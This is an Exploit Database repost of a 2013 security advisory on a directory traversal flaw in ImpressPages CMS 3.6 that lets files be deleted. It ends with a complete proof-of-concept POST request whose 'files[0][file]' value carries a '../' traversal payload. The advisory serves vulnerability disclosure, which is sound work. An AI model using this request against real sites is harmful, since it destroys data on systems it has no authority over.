ImpressPages CMS 3.6 – Arbitrary File Deletion

• Exploit Database
• 11 阅读

• 作者： LiquidWorm
  日期： 2013-11-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/29328/

• 
  ImpressPages CMS v3.6 Remote Arbitrary File Deletion Vulnerability
  
  
  Vendor: ImpressPages UAB
  Product web page: http://www.impresspages.org
  Affected version: 3.6
  
  Summary: ImpressPages CMS is an open source web content
  management system with revolutionary drag & drop interface.
  
  Desc: Input passed to the 'files[0][file]' parameter in 
  '/ip_cms/modules/administrator/repository/controller.php'
  is not properly sanitised before being used to delete files.
  This can be exploited to delete files with the permissions
  of the web server via directory traversal sequences passed
  within the affected POST parameter.
  
  Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
   Apache 2.4.2
   PHP 5.4.7
   MySQL 5.5.25a
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2013-5158
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5158.php
  
  Vendor: http://www.impresspages.org/blog/impresspages-cms-3-7-is-mobile-as-never-before/
  
  
  
  12.10.2013
  
  --
  
  
  POST /impresspages/ HTTP/1.1
  Host: localhost
  Proxy-Connection: keep-alive
  Content-Length: 387
  Accept: application/json, text/javascript, */*; q=0.01
  Origin: http://localhost
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36
  Content-Type: application/x-www-form-urlencoded
  Referer: http://localhost/impresspages/?cms_action=manage
  Accept-Encoding: gzip,deflate,sdch
  Accept-Language: en-US,en;q=0.8
  Cookie: ses819=k7e9hu9pk4ol4h9l0lbt5q73u1
  
  g=administrator&m=repository&a=deleteFiles&files%5B0%5D%5BfileName%5D=readme.txt&files%5B0%5D%5Bdir%5D=file%2Frepository%2F&files%5B0%5D%5Bfile%5D=/../../../joxy.txt&files%5B0%5D%5Bext%5D=txt&files%5B0%5D%5Bpreview%5D=ip_cms%2Fmodules%2Fadministrator%2Frepository%2Fpublic%2Fadmin%2Ficons%2Fgeneral.png&files%5B0%5D%5Bmodified%5D=1381393098&securityToken=c029f7293955df089676b78af8222d2a